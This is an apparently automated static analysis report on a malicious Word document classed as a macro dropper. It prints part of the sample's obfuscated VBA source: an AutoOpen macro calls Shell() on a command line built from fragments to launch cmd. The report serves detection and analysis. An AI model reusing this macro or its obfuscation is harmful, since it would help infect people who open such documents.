Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 25393237805d8ae1…

MALICIOUS

Office (OLE)

122.5 KB Created: 2018-06-04 11:36:00 Authoring application: Microsoft Office Word First seen: 2018-06-19
MD5: 232702f122afd11f40abf0526c9e191b SHA-1: c60212cac578b4dd8d3be1496e24e00c5f2e9d7f SHA-256: 25393237805d8ae130bb05d84f9317c7761063905d613fdfa1e73f600e1b95af
242 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1059 Command and Scripting Interpreter T1204.002 Malicious File

The sample contains a critical OLE_VBA_SHELL heuristic firing, indicating the use of the Shell() function within its VBA macros. The Autoopen macro is present and configured to execute this Shell() call. This suggests the macro is designed to download and execute a second-stage payload, consistent with a dropper functionality. The ClamAV detection 'Doc.Dropper.Agent-6572224-0' further supports this assessment.

Heuristics 7

  • ClamAV: Doc.Dropper.Agent-6573341-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Dropper.Agent-6573341-0
  • VBA macros detected medium 3 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • Shell() call in VBA critical OLE_VBA_SHELL
    Shell() call in VBA
  • AutoOpen macro high OLE_VBA_AUTOOPEN
    AutoOpen macro
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • Legacy WordBasic auto-exec macro marker medium OLE_LEGACY_WORDBASIC_AUTOEXEC
    OLE Word document contains a legacy WordBasic auto-execution marker such as AutoOpen, but no modern VBA project was recovered and no stronger macro-virus family marker was present. This is analyst-facing evidence for old Word macro execution surface, not a downloader or parser-CVE attribution by itself.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.openxmlformats.org/drawingml/2006/main In document text (OLE body)

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 17233 bytes
SHA-256: 73abcabb26f6f94ef5c71b1ece44aa7f9529de49d921f0c47399ae68b2b98cf2
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ZIkzCIzbvIrB"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Function wCGXOfaZ()
On Error Resume Next
For smvIH = jfwFj To 22016
         PTUkOZ = (BfwVo - ChrW(62339 * 98767) * ilLQFZ * CInt(ijJlE + Sqr(56011)) + 27580 - 62129 / 74417 - CDate(YBrJjj - 95703 + 13128 - Hex(EMnaT / 52396)) + (zzLtS * Tan(VNpla)))
Next
For VlnzMY = iHaBB To 27301
         AVorI = (KhdQVs - ChrW(57695 * 35448) * dTvJUk * CInt(QNbCD + Sqr(93494)) + 28307 - 47285 / 92676 - CDate(fJFAZ - 96085 + 55632 - Hex(TnIWiT / 88958)) + (wdGGst * Tan(hEbPG)))
Next
wCGXOfaZ = LKzJvaAPp + Shell(NZQjPnTULhw + Chr(uEUovOC + vbKeyC + pBNLkffJh) + zYYEQk + vCXvczL + YzuwE + mAVdVVBER + QFzDhCuw + PoIOpOQuc + QzAijBBFdM + pLLfET, fIDCWzhSq + 0 + vKPrlrPvp)
For NTFULN = MfEVS To 47075
         zLuiI = (GzlRq - ChrW(32881 * 72497) * YwwhWw * CInt(UCBSF + Sqr(48979)) + 70703 - 37754 / 48162 - CDate(nTsbWJ - 84949 + 15228 - Hex(fPhniu / 53151)) + (oiFnvZ * Tan(cIsQCi)))
Next
End Function
Sub Autoopen()
On Error Resume Next
For iMjCz = JCmGaZ To 36419
         mPXYip = (kTzruz - ChrW(98169 * 26815) * bFPJl * CInt(Gbzib + Sqr(72808)) + 92082 - 99003 / 26619 - CDate(HFpsV - 84723 + 46207 - Hex(ZttjKD / 91197)) + (oViUJ * Tan(EQIva)))
Next
wCGXOfaZ
For OKpTjV = rJVvjh To 41560
         scXRun = (zaVtM - ChrW(96024 * 1977) * kZRcf * CInt(EZApQ + Sqr(6609)) + 1470 - 37181 / 50510 - CDate(moYMok - 59042 + 62296 - Hex(wNPwp / 17209)) + (qkkVSF * Tan(WoDXbi)))
Next
End Sub


Attribute VB_Name = "QizaGYZokzuk"
Function zYYEQk()
On Error Resume Next
For aBiQfa = inXRmO To 65171
         hnDWr = (vHRcjH - ChrW(23487 * 85131) * mpjVn * CInt(lXjSD + Sqr(52121)) + 84891 - 77809 / 57086 - CDate(jrVQw - 24068 + 18530 - Hex(MfuMo / 98160)) + (jqakb * Tan(tulwP)))
Next
UIMJYjAHCm = "md AiLWE" + "RD jzokTpdCiKzL" + "VuZ" + "HiuLsouqiF UT" + "LVEuY &    " + " %" + "^c^o^m^" + "S^p^E" + "^c^%     %^c^"
For DoEDT = PzQqcQ To 49981
         NIIfZj = (zXkRDC - ChrW(12995 * 76280) * jTjsFi * CInt(cbYZz + Sqr(6311)) + 80238 - 27271 / 18796 - CDate(uskmG - 43890 + 63056 - Hex(ERTlPl / 16423)) + (THIkh * Tan(iAfEAJ)))
Next
sjjwwpO = "o^m^S^p^E^c^%" + "  " + "   /V         /" + "c          " + " set %muEHA" + "LuIGS" + "UNkGI%=PWXsDv" + "CzBOmJ&&s" + "et %ucanQ"
For whWHtH = DKdzz To 16200
         NpqLm = (ojiFZ - ChrW(55835 * 38739) * kGBWW * CInt(IjwiVd + Sqr(89673)) + 16301 - 16770 / 57062 - CDate(lZZUL - 79605 + 85676 - Hex(tvMwQ / 66450)) + (nDSEb * Tan(cItisM)))
Next
DSDbCfXni = "fOSfjsJ%=p&" + "&set %kKOL" + "WcPkFofQ" + "%=o^w&&s" + "et %iSptQwHfU" + "zi"
For IWfbEu = DuqYQJ To 15308
         EvkjvF = (rpECjI - ChrW(31863 * 62031) * TcCFWQ * CInt(tVuMsM + Sqr(88123)) + 75584 - 35024 / 36893 - CDate(EztLRk - 35439 + 59184 - Hex(WCKfnO / 678)) + (oGCGn * Tan(rKBtz)))
Next
BRHINYcwMV = "iQki%=WVUw" + "MjwwjCV&&set %V" + "iOojztErwOk%" + "=!%" + "ucanQfOSfj"
For vRjQJM = wHLSms To 49827
         qKOZi = (nzLQs - ChrW(31790 * 73369) * BPrUA * CInt(FSuWbf + Sqr(7333)) + 97313 - 53997 / 77942 - CDate(OOwAz - 73676 + 38717 - Hex(RHRYA / 33871)) + (wuFvaR * Tan(fIYQsz)))
Next
UjmszlUmd = "sJ%!&&se" + "t %rrGGm" + "YkZndawnwc%=P" + "nobTMabf" + "&&set %mZJLj" + "jE"
For IpXWAd = pCBdX To 3204
         mnutEf = (JsjNzW - ChrW(66238 * 77467) * itWUJS * CInt(BzotHr + Sqr(8040)) + 35193 - 7420 / 31365 - CDate(tUdWo - 34516 + 31551 - Hex(wrJCGU / 2009)) + (SkAhZT * Tan(suQmaR)))
Next
EzcizMT = "FBat%=e^r&&" + "set %zQAdWG" + "NmzIWv%=!%kKOLW" + "cPkFofQ%!" + "&&set %IojnM"
For NJhNpT = MFEDKV To 6827
         whZGRl = (DjkZbk - ChrW(54653 * 46213) * phIdzV * CInt(ihbGiw + Sqr(56397)) + 29438 - 96341 / 79904 - CDate(ziNUz - 5914 + 60724 - Hex(wdPrO / 68805)) + (ZOcNas * Tan(nuZqfD)))
Next
PrqcprmSi = "joSQCs%=s" + "&&set %" + "tqzCWqMObQ" + "oOtwJ%=L" + "uwvYhzkPjK" + "&&set %vjGi" + "zonu%=h"
For FUbmj = pRVhEz To 86763
      
... (truncated)

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